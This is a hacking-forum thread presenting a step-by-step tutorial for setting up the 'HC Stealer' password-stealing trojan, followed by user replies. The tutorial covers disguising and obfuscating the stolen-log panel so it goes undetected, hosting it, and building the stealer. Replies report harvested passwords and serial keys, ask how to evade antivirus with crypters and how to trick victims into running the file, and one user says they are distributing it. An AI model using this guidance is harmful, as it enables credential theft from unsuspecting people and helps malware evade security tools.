Today I am introducing HC Stealer in Hackforums, if this is already introduced then I am sure not like that. I saw many tutorial on iStealer but I have always faced problems, whenever I created a new server on iStealer, it give me error like mosq....dll whatever this .dll file called! It is due to installed firefox on PC. After a long search I found HC Stealer & its better than iStealer. WHY I THIS HC STEALER CALLED BETTER THAN ISTEALER? Because of this..

Here is some screenshots below!!!

Spoiler ([Click to View](#))

As you can see this stealer have many options / features instead of istealer. Now we are talking about the scan result. So here is your Virus Scan Result!!!

Spoiler [\(Click to View\)](#)

Setting Up Index.php File & Making Index.php Undetectable

Extract HC Stealer and then you will find two files called index.php and style.css. Just open index.php with Notepad and follow the screens. I am opening the original index.php file at the moment!!

Spoiler [\(Click to View\)](#)

Now we are going change the highlighted text to make the index.php undetectable!! Just use these codes.

This is Original Code!!

PHP Code

```
<?php
```

```
$html = "<html xml:lang='en' lang='en' xmlns='http://www.w3.org/1999/xhtml'><head><title>HC Stealer 2.0.1 Log manager - ";
```

Replace With This Code

PHP Code

```
<?php
```

```
$html = "<html xml:lang='en' lang='en' xmlns='http://www.w3.org/1999/xhtml'><head><title>My Personal Software manager - ";
```

You will need to change this one also!!

PHP Code

```
<?php
```

```
$footer = "<div id='footer'>HC Stealer by The 7th Sage 2011</div></div><script src='http://www.google-analytics.com/urchin.js' type='text/javascript'></script>
```

```
<script type='text/javascript'>
```

```
_uacct = "UA-249290-34";
```

```
urchinTracker();
```

```
</script>
```

```
</body></html>";
```

Replace With This Code

PHP Code

```
<?php
```

```
$footer = "<div id='footer'>Backup manager - Backup Script 2011</div></div><script src='http://www.google-analytics.com/urchin.js' type='text/javascript'></script>
```

```
<script type='text/javascript'>
```

```
_uacct = "UA-249290-34";
```

```
urchinTracker();
```

```
</script>
```

```
</body></html>";
```

Save it. It look like this!!!!

Spoiler ([Click to View](#))

Now you need to install TrueBug PHP Obfuscator. Just find from Google or download TrueBug PHP Obfuscator from [HERE!!](#).

After you should install this into your PC. After when the installation finish, just open up TrueBug PHP Obfuscator, Just follow the screens below!!

Spoiler ([Click to View](#))

Uploading Files On SPAM.com

Go to control panel known as CPanel > File Manager (If it asks for password, see the "View FTP Details") Then Go to public_html. Create 2/3 new directories there. I am making 2 new directories called Hobbies and Reading which is located inside the Hobbies directory / folder. Now upload your index.php which is located on your desktop and style.css located in HC Stealer Folder. When uploading finish then go back to public_html folder. You will find Hobbies directory / folder, just check this folder then press chmod button located at left side on your screen to set the permissions. Its look like this!!!!

Spoiler ([Click to View](#))

Congratulations!!! You have done all settings..

HC Stealer In Action

Now open up HC Stealer (For Windows 7/Vista Run As Administration). Enter the link to your index.php file in the Url field. Mine is www.xx.xxxx.com/Hobbies/Reading/index.php. Follow the below image!!!!

Spoiler ([Click to View](#))

Now type your url again in your web address. Put the username and password. Mine is admin and safe123 respectively!!! Press Login button for further access!!. See the image below!!!!

Spoiler ([Click to View](#))

I hope after this tutorial you forget the iStealer and also you don't need help anymore from other member who opened service offering.

Enjoy & Have Fun!!!!

Goodluck!!!

I am trying this now. It looks awesome! Thanks for taking the time to make such a clear post. cheers! I have worked through it an the tut is really good! HOWEVER! I am having an issue and it's entirely my fault I am sure but I can not log in after I set everything up and I can not work out why. Would anyone be prepared to give me a hand? I dont think I can see the wood for the trees so to speak anymore!

A really good tut though! Nothing wrong there! Cheers I have worked through it an the tut is really good! HOWEVER! I am having a small issue which I would love some advice on. I can not get the final index.php to work and I have no idea why. I have been stuck on it for hours. Would anyone be prepared to give me a hand please? I'm sure its something simple that I am just not seeing! I don't think I can see the wood for the trees so to speak anymore!

A really good clear tutorial! Nothing wrong there! Cheers I should have said, I get this "Parse error: syntax error, unexpected T_STRING in /home/a**/public_html/" I cant see anything wrong with the syntax though!

u suck nads - October 9, 2011, 1:56 am

Hey man looking forward to using this can i have link. thanks for in advance :P

Ice Travanti - October 9, 2011, 5:42 am

Everything has gone well so far but now I am stuck! I am learning so please bear with me! Would someone please be kind enough to explain a couple of things to me please?

First I do not understand the email@email.com part. If I do anything to it I get this "The specified

string is not in the form required for an email address" Can someone explain what that part of HCStealer is/does and if I need to change anything there??

Secondly when I hit "Generate" I get this: "Unhandled exception has occurred in your application" it goes on..."Could not load file or assembly "Disassembler lib" version = 1.0.0.0. Culture=neutral. Publickeytoken=null or one of it's dependancies. The system can not find the file specified. What does this mean!?? FINAL thing! It's a real noob question..ready? How do I now get victims? I'm not sure how to "deploy" it! Thanks for any help. We all had to learn sometime eh?

This is my first time trying anything like this, but it doesn't seem to be functioning properly. I'm only getting logs of my Windows serial. No stored passwords from chrome, IE, or firefox are reported.

Edit: Seems to be pretty hit and miss. Tested on a few computers. Some of them it only sends Windows Serial. On my laptop it only sent the chrome passwords and nothing else. On my old desktop, it only sent Yahoo logs with some sort of ridiculously long password. And firefox did not work on any. I guess that's because the program only supports FF3 and 4.

Can you even get to your own website? Try going to just "myuser_name.net16.net". Does it load? If no, then your url is wrong. Log into your account to find your exact url. Once it loads, add "/Hobies/Reading" to the end of it to see if you can access the css page.

Well, If its the domain directly when i logged into SPAM.com

I can use /Hobbies/Reading but i get this error

Ok listen I setup everything and I created the server and when I run it my NOD32 AV detect is as a Win32/TrojanDropper.VB.NPB And delete it automatically so I can say it's not FUD. After I disabled my AV the server ran and I got 2 logs from my computer - Windows serial key | Messenger account + password..And that's it, now the problem is - How to make the server FUD? And after is FUD, How to get slaves to open my server? Thanks.

Why is that?

Chloë Grace - November 6, 2011, 10:24 am

Im getting the following message at the top of the program, Is it an issue?

Code Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/swalemai/public_html/backup/index.php(1) : eval()'d code on line 22

EDIT : This is an issue and I don't know why it's happening. I'm using my own web hosting for this, But I have definatly set up both the database and user correctly. Is it because my hosting doesn't support said process?

EDIT2 : Just made it with 001 and it works. I presume it is some kind of security measure OR a difference in MySQL version.

Any trouble shooting help is appreciated. :) I figured out the problem, when I put in my url for the check logs, it gets cut off right at index.php, it says in.... and just stops there. It's to long to put in the bar. Do I put the website url or the actual file url which is also the website I think. :S Woot! Fixed the problem, I just named the Hobbies and Reading to Hob and Read and I had enough space to put index.php in there and I got the log. Sweet bro thanks, 1+ for you for the great tut. :) You should also explain how to setup the server and all the settings for it by the way. :)

Hi mate ,

It seems very interesting . Can't wait to try it ...

Keldoownzall - December 16, 2011, 12:12 pm

i keep getting this error when i click generate

Unhandled exception has occurred in ur application

could not load file or assembly 'Dissembler Lib, Version=1.0.0.0, culture=neutral, publickeytoken=null' or one of its dependencies. The system cannot find the file specified

Chuck Freakin Norris - December 16, 2011, 1:26 pm

Works like a charm, but how is it better than iStealer? I tried it on my PC and it doesn't log all of my passwords :(

ohashi - December 16, 2011, 7:15 pm

hi i tested this.. it works however the password sending in my log are not correct

why is that?

by the way, VERY GOOD tutorial bro keep it up

jeremyspro - December 17, 2011, 12:25 am

When I hit generate I get

Unhandled exception has occurred in your application.

If you click continue the application will ignore this error and attempt to continue
ect
help? :S

jeseravi - December 18, 2011, 7:35 pm

Okay so I did everything, got the server running, and when I run my own .exe file it works perfectly.

I'm new at this so could someone tell me how I'm supposed to get others to download the .exe file?
Do I just post a link to the .exe and watnot?

This seems to be very very awesome :)

Can i get the download link please?

ohashi - December 19, 2011, 5:07 pm

i just want to share thi

last night i visited my <http://www.SPAM.com> and it shows that my site is under review because of malicious stuffs

and after a few hours my site is back to normal

so it only means that it is 101% FUD :D

I would really like to know how to make this server file undetectable by antivirus programs PM if possible solution

Snoepie1012 - December 26, 2011, 1:29 pm

I dont get it, How does this infect? When you come to the page does it ask you to download something or what?

johnuno11 - December 26, 2011, 5:15 pm

I used my own hosting since I own dozens of websites, installing this was simple, test worked and now spreading the DL link.

piethenk2 - December 26, 2011, 5:48 pm

Interneeke - January 28, 2012, 8:56 am

Yoo i'm sorry to bother you but i've installed the hc stealer now with the configuration of this thing there's somethin' wrong (i'm at spoiler 6 at the mysql) wen i click that i get the screen you said but wen i write the things down you said there's a problem and gives a error i'm gonna write your data ok it's the same only different numbers and letters

My sql database name a6872044_Tut_HC now the problem or error = the sql database name can only include numbers and letters now i think the " _ " is to manny in the username cause i tryed the delete the underscore in Tut_HC

Pleazeee a little help here thanxxxx alot dude

everything you did after

Uploading Files On SPAM.com

Go to control panel known as CPanel > File Manager (If it asks for password, see the "View FTP Details") Then Go to public_html. Create 2/3 new directories there. I am making 2 new directories called Hobbies and Reading which is located inside the Hobbies directory / folder. Now upload your index.php which is located on your desktop and style.css located in HC Stealer Folder. When uploading finish then go back to public_html folder. You will find Hobbies directory / folder, just check this folder then press chmod button located at left side on your screen to set the permissions. Its look like this!!!!

Spoiler (WARNING: Potential SPAM or INFECTED LINK)

Congratulations!!! You have done all settings..

HC Stealer In Action

Now open up HC Stealer (For Windows 7/Vista Run As Administration). Enter the link to your index.php file in the Url field. Mine is <http://www.xx.xxxx.com/Hobbies/Reading/index.php>. Follow the below image!!!!

For god sake. I updated the link already. Mediafire. Check again.

Shane908 - July 3, 2012, 3:05 am

Only sends me logs of mine. Just infected someone else, and am getting NO logs. :L How fast does it send them? What are the time intervals?

ALSO, when I re-infected myself, it just resent old logs, and they aren't even current ones :L

When you reach the step where you have to edit the index file, pay attention to the data you put in for the MySQL stuff. Like the user and pass and database. Then make sure you put the subsitute php in the right spot.

Add me on skype if you want help. I pmed you back.

JIT Debugging

To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled.

For example:

```

<configuration>
  <system.windows.forms jitDebugging="true" />
</configuration>

```

When JIT debugging is enabled, any unhandled exception

will be sent to the JIT debugger registered on the computer rather than be handled by this dialog box.

thanks bro for the methods really helps out

rockmonkey - March 1, 2014, 7:34 am

Nice share, do you know any Crypters who work well with this? Last crypter I had didn't work at all with HC stealer.

bmart95 - March 9, 2014, 9:17 pm

Fantastic tutorial.. Thanks for the great share mate.

Deronix - March 10, 2014, 7:52 am

I can fully vouch for this stealer!
Just tried it on my virtual machines and it's working good.

Haven't scanned it yet but i think it hasn't got detected in 3 hours xD.

Awesome share mate,keep it up.

pmaster100 - March 10, 2014, 2:51 pm

anyone know a free crypter that will work for this my normal one corrupts it

frakiesaff - March 15, 2014, 8:08 pm

Need to try it, can anyone up again !!!

very nice! i wish to try it.you did a grate job, can i have the link?

the explanation was simple and grate , i guess this will me me first stealer to try, bro send me the link

kokio - April 17, 2014, 5:01 am

Hey i remember using this back in the past.

Really want to test it out again.

Only problem im having at the moment is the obfuscator. It has updated since anybody know how

to work the new version? or at least have a link to the older version. So far the links i have found look very suspicious.

Unauthenticated - April 18, 2014, 2:03 am

Does this works? Like does this still works?

kirklogan - April 18, 2014, 5:37 am

Very shiny! Id love to try this out. If you get a free moment please send me the link :)

BroloTaco - April 18, 2014, 11:44 am
